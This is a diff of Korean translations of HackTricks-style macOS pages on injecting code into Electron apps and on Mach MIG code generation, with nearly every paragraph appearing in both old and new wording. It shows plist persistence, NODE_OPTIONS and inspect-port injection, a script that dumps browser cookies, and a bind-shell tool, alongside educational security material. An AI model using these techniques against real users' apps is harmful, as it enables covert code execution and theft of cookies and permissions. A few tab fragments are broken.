||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
이 파일을 [https://hexed.it/](https://hexed.it/)에서 로드하고 이전 문자열을 검색할 수 있습니다. 이 문자열 다음에 ASCII로 "0" 또는 "1"이라는 숫자가 나타나는데, 각 퓨즈가 비활성화되었는지 활성화되었는지를 나타냅니다. 헥스 코드(`0x30`은 `0`이고 `0x31`은 `1`)를 수정하여 **퓨즈 값을 수정**할 수 있습니다.
|
||||
[https://hexed.it/](https://hexed.it/)에서 이 파일을 로드하고 이전 문자열을 검색할 수 있습니다. 이 문자열 뒤에 ASCII로 "0" 또는 "1"이 표시되어 각 퓨즈가 비활성화되었는지 활성화되었는지 나타납니다. 단순히 헥스 코드를 수정하여 퓨즈 값을 **수정**할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
참고로, 이러한 바이트가 수정된 상태에서 **응용 프로그램 내의 `Electron Framework` 이진 파일을 덮어쓰려고 하면 앱이 실행되지 않습니다.
|
||||
**Electron Applications**에 코드를 추가하여 RCE
|
||||
|
||||
## Electron 애플리케이션에 코드 추가하여 RCE
|
||||
|
||||
Electron 앱이 사용하는 **외부 JS/HTML 파일**이 있을 수 있으므로 공격자는 이러한 파일에 코드를 삽입하여 서명이 확인되지 않고 앱의 컨텍스트에서 임의의 코드를 실행할 수 있습니다.
|
||||
일렉트론 앱이 사용하는 **외부 JS/HTML 파일**이 있을 수 있으므로 공격자는 이러한 파일에 코드를 삽입하여 서명이 확인되지 않는 코드를 실행하고 앱의 컨텍스트에서 임의의 코드를 실행할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
그러나 현재 2가지 제한 사항이 있습니다:
|
||||
|
||||
* 앱을 수정하려면 **`kTCCServiceSystemPolicyAppBundles`** 권한이 필요하므로 기본적으로 이는 더 이상 불가능합니다.
|
||||
* 컴파일된 **`asap`** 파일은 일반적으로 퓨즈 **`embeddedAsarIntegrityValidation`** 및 **`onlyLoadAppFromAsar`**가 활성화되어 있습니다.
|
||||
* 앱을 수정하려면 **`kTCCServiceSystemPolicyAppBundles`** 권한이 **필요**하므로 기본적으로 더 이상 불가능합니다.
|
||||
* 컴파일된 **`asap`** 파일에는 일반적으로 퓨즈 **`embeddedAsarIntegrityValidation`** 및 **`onlyLoadAppFromAsar`**가 `활성화`되어 있습니다.
|
||||
|
||||
이로 인해 이 공격 경로가 더 복잡하거나 불가능해집니다.
|
||||
이 공격 경로를 더 복잡하게 만들거나 불가능하게 만듭니다.
|
||||
{% endhint %}
|
||||
|
||||
**`kTCCServiceSystemPolicyAppBundles`** 요구 사항을 우회할 수 있습니다. 애플리케이션을 다른 디렉토리(예: **`/tmp`**)로 복사하고 폴더 이름을 **`app.app/Contents`**에서 **`app.app/NotCon`**으로 변경한 다음, **악성** 코드로 **asar** 파일을 수정하고 다시 **`app.app/Contents`**로 이름을 변경하여 실행할 수 있습니다.
|
||||
**`kTCCServiceSystemPolicyAppBundles`** 요구 사항을 우회하는 것이 가능하며, 이를 위해 애플리케이션을 다른 디렉토리(예: **`/tmp`**)로 복사하고, 폴더 이름을 **`app.app/Contents`**에서 **`app.app/NotCon`**으로 변경하고, **악의적인** 코드로 **asar** 파일을 수정한 다음 다시 **`app.app/Contents`**로 이름을 변경하고 실행할 수 있습니다.
|
||||
|
||||
asar 파일에서 코드를 언팩할 수 있습니다.
|
||||
asar 파일에서 코드를 추출할 수 있습니다.
|
||||
```bash
|
||||
npx asar extract app.asar app-decomp
|
||||
```
|
||||
그리고 수정한 후에 다시 패킹하세요:
|
||||
그리고 수정한 후에 다음과 같이 다시 압축하세요:
|
||||
```bash
|
||||
npx asar pack app-decomp app-new.asar
|
||||
```
|
||||
## `ELECTRON_RUN_AS_NODE`을 사용한 RCE <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
## `ELECTRON_RUN_AS_NODE`를 사용한 RCE <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
[**문서**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node)에 따르면, 이 환경 변수가 설정되면 프로세스가 일반적인 Node.js 프로세스로 시작됩니다.
|
||||
[**문서**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node)에 따르면, 이 환경 변수가 설정되면 프로세스가 일반 Node.js 프로세스로 시작됩니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -101,12 +99,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
fuse **`RunAsNode`**이 비활성화되면 env 변수 **`ELECTRON_RUN_AS_NODE`**가 무시되어 작동하지 않을 수 있습니다.
|
||||
만약 fuse **`RunAsNode`**가 비활성화되어 있다면 env var **`ELECTRON_RUN_AS_NODE`**은 무시되며, 이 작업은 작동하지 않습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 앱 Plist에서의 인젝션
|
||||
### 앱 Plist로부터의 Injection
|
||||
|
||||
[**여기에서 제안된대로**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/) plist에서 이 env 변수를 남겨서 지속성을 유지할 수 있습니다:
|
||||
[**여기에서 제안된**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/)대로, 이 env 변수를 plist에서 남아 있는 상태로 남겨두기 위해 남용할 수 있습니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -145,14 +143,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
만약 fuse **`EnableNodeOptionsEnvironmentVariable`**이 **비활성화**되어 있다면, 앱은 실행될 때 환경 변수 **NODE\_OPTIONS**을 **무시**합니다. 단, 환경 변수 **`ELECTRON_RUN_AS_NODE`**이 설정되어 있으면 이 또한 **무시**됩니다. 이때, fuse **`RunAsNode`**가 비활성화되어 있다면 무시되지 않습니다.
|
||||
만약 fuse **`EnableNodeOptionsEnvironmentVariable`**이 **비활성화**되어 있다면, 앱은 **NODE\_OPTIONS** 환경 변수를 **무시**하게 됩니다. 이는 환경 변수 **`ELECTRON_RUN_AS_NODE`**이 설정되어 있어도 **무시**될 것입니다. 이때 fuse **`RunAsNode`**가 비활성화되어 있다면 더욱 그렇습니다.
|
||||
|
||||
**`ELECTRON_RUN_AS_NODE`**를 설정하지 않으면 다음과 같은 **에러**가 발생할 수 있습니다: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
**`ELECTRON_RUN_AS_NODE`**을 설정하지 않으면, 다음과 같은 **에러**가 발생할 것입니다: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
{% endhint %}
|
||||
|
||||
### 앱 Plist로부터의 인젝션
|
||||
### 앱 Plist로부터의 Injection
|
||||
|
||||
이 환경 변수를 plist에 남아있게 하기 위해 다음과 같은 키를 추가하여 남용할 수 있습니다:
|
||||
이 환경 변수를 plist에 남아있게 유지하기 위해 이러한 키를 추가할 수 있습니다:
|
||||
```xml
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
|
@ -168,12 +166,10 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
|||
<true/>
|
||||
</dict>
|
||||
```
|
||||
## 검사를 통한 원격 코드 실행 (RCE)
|
||||
## 검사를 통한 RCE
|
||||
|
||||
[**여기**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)에 따르면, **`--inspect`**, **`--inspect-brk`**, **`--remote-debugging-port`**와 같은 플래그로 Electron 애플리케이션을 실행하면 **디버그 포트가 열리게 됩니다**. 이 포트에 연결할 수 있으며 (예: `chrome://inspect`에서 Chrome을 통해), **코드를 주입**하거나 새로운 프로세스를 실행할 수 있습니다.\
|
||||
[**이**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)에 따르면, Electron 애플리케이션을 **`--inspect`**, **`--inspect-brk`**, **`--remote-debugging-port`**와 같은 플래그로 실행하면 **디버그 포트가 열리므로** 해당 포트에 연결할 수 있습니다 (예: Chrome의 `chrome://inspect`에서) 그리고 **코드를 주입**하거나 새로운 프로세스를 시작할 수 있습니다.\
|
||||
예를 들어:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
# Connect to it using chrome://inspect and execute a calculator with:
|
||||
|
@ -182,14 +178,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
만약 fuse **`EnableNodeCliInspectArguments`** 가 비활성화되어 있다면, 앱은 실행될 때 node 매개변수 (예: `--inspect`)를 무시합니다. 단, 환경 변수 **`ELECTRON_RUN_AS_NODE`** 가 설정되어 있으면 무시되지 않습니다. 그러나 이 환경 변수도 fuse **`RunAsNode`** 가 비활성화되어 있다면 무시됩니다.
|
||||
만약 fuse **`EnableNodeCliInspectArguments`**가 비활성화되어 있다면, 앱은 시작될 때 node 매개변수(예: `--inspect`)를 **무시**하게 됩니다. 이는 환경 변수 **`ELECTRON_RUN_AS_NODE`**가 설정되어 있어도 **무시**될 것이며, 이는 fuse **`RunAsNode`**가 비활성화되어 있는 경우에도 마찬가지입니다.
|
||||
|
||||
하지만 여전히 **electron 매개변수 `--remote-debugging-port=9229`** 를 사용할 수는 있지만, 이전 페이로드는 다른 프로세스를 실행시키지 않습니다.
|
||||
그러나 여전히 **electron 매개변수 `--remote-debugging-port=9229`**를 사용할 수 있지만, 이전 payload는 다른 프로세스를 실행하는 데 사용할 수 없습니다.
|
||||
{% endhint %}
|
||||
|
||||
**`--remote-debugging-port=9222`** 매개변수를 사용하여 Electron 앱에서 **히스토리** (GET 명령어 포함)나 브라우저의 **쿠키** (브라우저 내에서 복호화되고 제공되는 **json 엔드포인트**가 있음)와 같은 정보를 도용할 수 있습니다.
|
||||
매개변수 **`--remote-debugging-port=9222`**를 사용하면 Electron 앱에서 **history**(GET 명령어로)나 브라우저의 **쿠키**(브라우저 내에서 **해독**되고 제공되는 **json 엔드포인트**가 있기 때문)와 같은 정보를 도용할 수 있습니다.
|
||||
|
||||
이를 수행하는 방법은 [**여기**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)와 [**여기**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)에서 알아볼 수 있으며, 자동 도구 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)이나 간단한 스크립트를 사용할 수 있습니다.
|
||||
이를 수행하는 방법은 [**여기**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)와 [**여기**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)에서 확인할 수 있으며, 자동 도구 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) 또는 다음과 같은 간단한 스크립트를 사용할 수 있습니다:
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
|
@ -197,11 +193,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
|||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
[**이 블로그 포스트**](https://hackerone.com/reports/1274695)에서는 이 디버깅을 악용하여 헤드리스 크롬이 **임의의 위치에 임의의 파일을 다운로드**하도록 만듭니다.
|
||||
[**이 블로그 포스트**](https://hackerone.com/reports/1274695)에서는 이 디버깅이 남용되어 headless chrome이 **임의의 위치에 임의의 파일을 다운로드**하도록 만들어졌습니다.
|
||||
|
||||
### 앱 Plist에서의 인젝션
|
||||
### 앱 Plist로부터의 Injection
|
||||
|
||||
이 환경 변수를 plist에 악용하여 지속성을 유지할 수 있습니다. 다음 키를 추가하세요:
|
||||
이 환경 변수를 plist에 남용하여 이러한 키를 추가하여 지속성을 유지할 수 있습니다:
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
|
@ -215,22 +211,22 @@ print(ws.recv()
|
|||
<true/>
|
||||
</dict>
|
||||
```
|
||||
## TCC 우회: 이전 버전 남용
|
||||
## 이전 버전 낡은 버전을 악용한 TCC 우회
|
||||
|
||||
{% hint style="success" %}
|
||||
macOS의 TCC 데몬은 실행된 애플리케이션의 버전을 확인하지 않습니다. 따라서 이전 기법 중 어떤 것으로도 **Electron 애플리케이션에 코드를 주입할 수 없는 경우**, 이전 버전의 앱을 다운로드하고 여전히 TCC 권한을 얻은 채로 코드를 주입할 수 있습니다 (Trust Cache가 방지하지 않는 한).
|
||||
macOS의 TCC 데몬은 실행된 애플리케이션의 버전을 확인하지 않습니다. 따라서 이전 기술로 **일렉트론 애플리케이션에 코드를 삽입할 수 없는 경우** APP의 이전 버전을 다운로드하고 여전히 TCC 권한을 얻을 수 있도록 코드를 삽입할 수 있습니다 (Trust Cache가 방지하지 않는 한).
|
||||
{% endhint %}
|
||||
|
||||
## JS 코드 실행
|
||||
|
||||
이전 기법을 사용하면 **Electron 애플리케이션의 프로세스 내에서 JS 코드를 실행**할 수 있습니다. 그러나 **자식 프로세스는 부모 애플리케이션과 동일한 샌드박스 프로필**에서 실행되며 **TCC 권한을 상속**합니다.\
|
||||
따라서, 예를 들어 카메라나 마이크에 액세스하기 위해 entitlements를 남용하려면 **프로세스에서 다른 이진 파일을 실행**할 수 있습니다.
|
||||
이전 기술을 사용하면 **일렉트론 애플리케이션의 프로세스 내에서 JS 코드를 실행**할 수 있습니다. 그러나 **자식 프로세스는 부모 애플리케이션과 동일한 샌드박스 프로필**에서 실행되며 **그들의 TCC 권한을 상속**합니다.\
|
||||
따라서 카메라 또는 마이크에 액세스하기 위해 권한을 남용하려면 **프로세스에서 다른 이진 파일을 실행**할 수 있습니다.
|
||||
|
||||
## 자동 주입
|
||||
## 자동 삽입
|
||||
|
||||
[**electroniz3r**](https://github.com/r3ggi/electroniz3r) 도구를 사용하면 설치된 취약한 Electron 애플리케이션을 쉽게 찾아 코드를 주입할 수 있습니다. 이 도구는 **`--inspect`** 기법을 사용하려고 시도합니다:
|
||||
도구 [**electroniz3r**](https://github.com/r3ggi/electroniz3r)은 설치된 **취약한 일렉트론 애플리케이션을 찾아서 코드를 삽입**하는 데 쉽게 사용할 수 있습니다. 이 도구는 **`--inspect`** 기술을 사용하려고 시도할 것입니다:
|
||||
|
||||
다음과 같이 직접 컴파일하여 사용할 수 있습니다:
|
||||
스스로 컴파일해야 하며 다음과 같이 사용할 수 있습니다:
|
||||
```bash
|
||||
# Find electron apps
|
||||
./electroniz3r list-apps
|
||||
|
@ -274,14 +270,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
MIG는 **Mach IPC 코드 생성 과정을 간소화**하기 위해 만들어졌습니다. 기본적으로 주어진 정의에 따라 서버와 클라이언트가 통신할 수 있도록 **필요한 코드를 생성**합니다. 생성된 코드가 어색해 보이더라도, 개발자는 그냥 가져와서 이전보다 훨씬 간단한 코드를 작성할 수 있습니다.
|
||||
MIG는 **Mach IPC 코드 생성 과정을 간소화**하기 위해 만들어졌습니다. 기본적으로 주어진 정의에 따라 서버와 클라이언트가 통신할 수 있도록 **필요한 코드를 생성**합니다. 생성된 코드가 얼마나 추악해 보이더라도, 개발자는 그것을 가져와서 이전보다 훨씬 간단한 코드를 작성할 수 있습니다.
|
||||
|
||||
### 예시
|
||||
|
||||
아주 간단한 함수를 가진 정의 파일을 생성해보겠습니다:
|
||||
아주 간단한 함수를 가진 정의 파일을 생성합니다:
|
||||
|
||||
{% code title="myipc.defs" %}
|
||||
```cpp
|
||||
|
@ -37,13 +37,13 @@ n2 : uint32_t);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
이제 mig를 사용하여 서버 및 클라이언트 코드를 생성하십시오. 이 코드는 서로 통신하여 Subtract 함수를 호출할 수 있을 것입니다:
|
||||
이제 mig를 사용하여 서버 및 클라이언트 코드를 생성하여 서로 통신하고 Subtract 함수를 호출할 수 있도록합니다:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
현재 디렉토리에 여러 새 파일이 생성됩니다.
|
||||
|
||||
**`myipcServer.c`** 및 **`myipcServer.h`** 파일에서는 기본적으로 수신된 메시지 ID에 따라 호출할 함수를 정의하는 **`SERVERPREFmyipc_subsystem`** 구조체의 선언과 정의를 찾을 수 있습니다 (시작 번호로 500을 지정했습니다):
|
||||
**`myipcServer.c`** 및 **`myipcServer.h`** 파일에는 기본적으로 수신된 메시지 ID에 따라 호출할 함수를 정의하는 **`SERVERPREFmyipc_subsystem`** 구조체의 선언과 정의가 포함되어 있습니다 (시작 번호로 500을 지정했습니다):
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
||||
|
@ -61,7 +61,7 @@ myipc_server_routine,
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipcServer.h" %}서버 코드를 작성하여 클라이언트 요청을 처리합니다. 이 코드는 클라이언트로부터 받은 요청을 처리하고 결과를 반환하는 함수를 구현합니다. 이 함수는 MIG 서버 함수로 정의되며 클라이언트 요청을 처리하기 위해 사용됩니다. 이 파일은 MIG 서버 함수를 정의하는 헤더 파일입니다.{% endtab %}
|
||||
{% tab title="myipcServer.h" %}서버 코드를 작성합니다. 이 코드는 클라이언트로부터 요청을 받아들이고 적절한 응답을 보내는 역할을 합니다. 이 코드는 MIG 프레임워크를 사용하여 작성되었습니다. 이 코드는 myipc.defs 파일에 정의된 MIG 인터페이스를 구현합니다. 이 코드는 myipcServer.c 파일에 구현되어 있습니다. %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
|
@ -77,7 +77,7 @@ routine[1];
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
이전 구조를 기반으로 **`myipc_server_routine`** 함수는 **메시지 ID**를 받아 적절한 호출할 함수를 반환합니다:
|
||||
이전 구조를 기반으로 **`myipc_server_routine`** 함수는 **메시지 ID**를 받고 호출할 적절한 함수를 반환합니다:
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
|
@ -101,9 +101,10 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
|||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
**`myipc_server`** 함수는 서버가 작동하도록 하는 데 중요한 기능 중 하나이며, 실제로 수신된 ID에 관련된 함수를 호출합니다:
|
||||
**`myipc_server`**은 실제로 수신된 ID에 관련된 함수를 호출하는 함수입니다.
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
```c
|
||||
mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
{
|
||||
/*
|
||||
|
@ -124,20 +125,20 @@ OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
|||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
OutHeadP->msgh_reserved = 0;
|
||||
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
<strong> ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||
return FALSE;
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||
return FALSE;
|
||||
}
|
||||
<strong> (*routine) (InHeadP, OutHeadP);
|
||||
</strong> return TRUE;
|
||||
(*routine) (InHeadP, OutHeadP);
|
||||
return TRUE;
|
||||
}
|
||||
</code></pre>
|
||||
```
|
||||
|
||||
ID에 의해 호출할 함수에 액세스하는 이전에 강조된 줄을 확인하십시오.
|
||||
ID에 따라 호출할 함수에 액세스하는 이전에 강조된 줄을 확인하십시오.
|
||||
|
||||
다음은 클라이언트가 서버에서 함수를 호출할 수 있는 간단한 **서버** 및 **클라이언트**를 만드는 코드입니다:
|
||||
다음은 서버와 클라이언트를 만드는 코드이며, 클라이언트는 서버에서 함수를 호출할 수 있습니다:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
|
@ -173,7 +174,7 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_client.c" %}번역%}
|
||||
{% tab title="myipc_client.c" %}클라이언트 코드는 서버와 통신하기 위해 IPC를 사용합니다. 클라이언트는 서버에 요청을 보내고 응답을 받습니다. 이 코드는 MIG 인터페이스를 사용하여 IPC를 수행합니다. 이를 통해 클라이언트는 서버와 효율적으로 통신할 수 있습니다. 코드는 요청을 보내는 함수와 응답을 처리하는 함수로 구성됩니다.{% endtab %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -200,13 +201,13 @@ USERPREFSubtract(port, 40, 2);
|
|||
```
|
||||
### 이진 분석
|
||||
|
||||
많은 이진 파일이 이제 MIG를 사용하여 mach 포트를 노출시키기 때문에, **MIG가 사용되었는지를 식별**하고 각 메시지 ID별로 **MIG가 실행하는 함수**를 알아내는 것이 흥미로울 수 있습니다.
|
||||
많은 이진 파일이 이제 MIG를 사용하여 mach 포트를 노출하므로, **MIG가 사용된 것을 식별하는 방법**과 각 메시지 ID별로 **MIG가 실행하는 함수**를 알아내는 것이 흥미로울 것입니다.
|
||||
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)는 Mach-O 이진 파일에서 MIG 정보를 구문 분석하여 메시지 ID를 나타내고 실행할 함수를 식별할 수 있습니다:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
이전에 **수신된 메시지 ID에 따라 올바른 함수를 호출하는 함수**가 `myipc_server`라고 언급되었습니다. 그러나 일반적으로 이진 파일의 심볼(함수 이름 없음)을 가지고 있지 않으므로 **디컴파일된 내용을 확인하는 것이 흥미로울 것**입니다. 이 함수의 코드는 항상 매우 유사할 것입니다(이 함수의 코드는 노출된 함수와 독립적입니다):
|
||||
이전에 **수신된 메시지 ID에 따라 올바른 함수를 호출하는 함수**는 `myipc_server`라고 언급되었습니다. 그러나 일반적으로 이진 파일의 심볼(함수 이름 없음)을 가지고 있지 않으므로, **디컴파일된 내용을 확인하는 것이 흥미로울 것**입니다. 이 함수의 코드는 항상 매우 유사할 것입니다(이 함수의 코드는 노출된 함수와 독립적입니다):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server 디컴파일 1" %}
|
||||
|
@ -228,7 +229,7 @@ rax = *(int32_t *)(var_10 + 0x14);
|
|||
// 0x1f4 = 500(시작 ID)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// If - else, if는 false를 반환하고 else는 올바른 함수를 호출하고 true를 반환합니다
|
||||
// if - else, if가 false를 반환하고 else가 올바른 함수를 호출하고 true를 반환합니다
|
||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
|
@ -303,7 +304,7 @@ r8 = 0x1;
|
|||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// 함수가 있어야 하는 계산된 주소로 호출
|
||||
// 함수가 있는 위치로 호출하는 계산된 주소 호출
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
|
@ -327,24 +328,22 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
실제로 **`0x100004000` 함수**로 이동하면 **`routine_descriptor`** 구조체 배열을 찾을 수 있습니다. 구조체의 첫 번째 요소는 **함수가 구현된 주소**이며 **구조체는 0x28 바이트**를 차지하므로 각 0x28 바이트(바이트 0부터 시작)에서 8 바이트를 얻을 수 있고 이것이 **호출될 함수의 주소**가 됩니다:
|
||||
|
||||
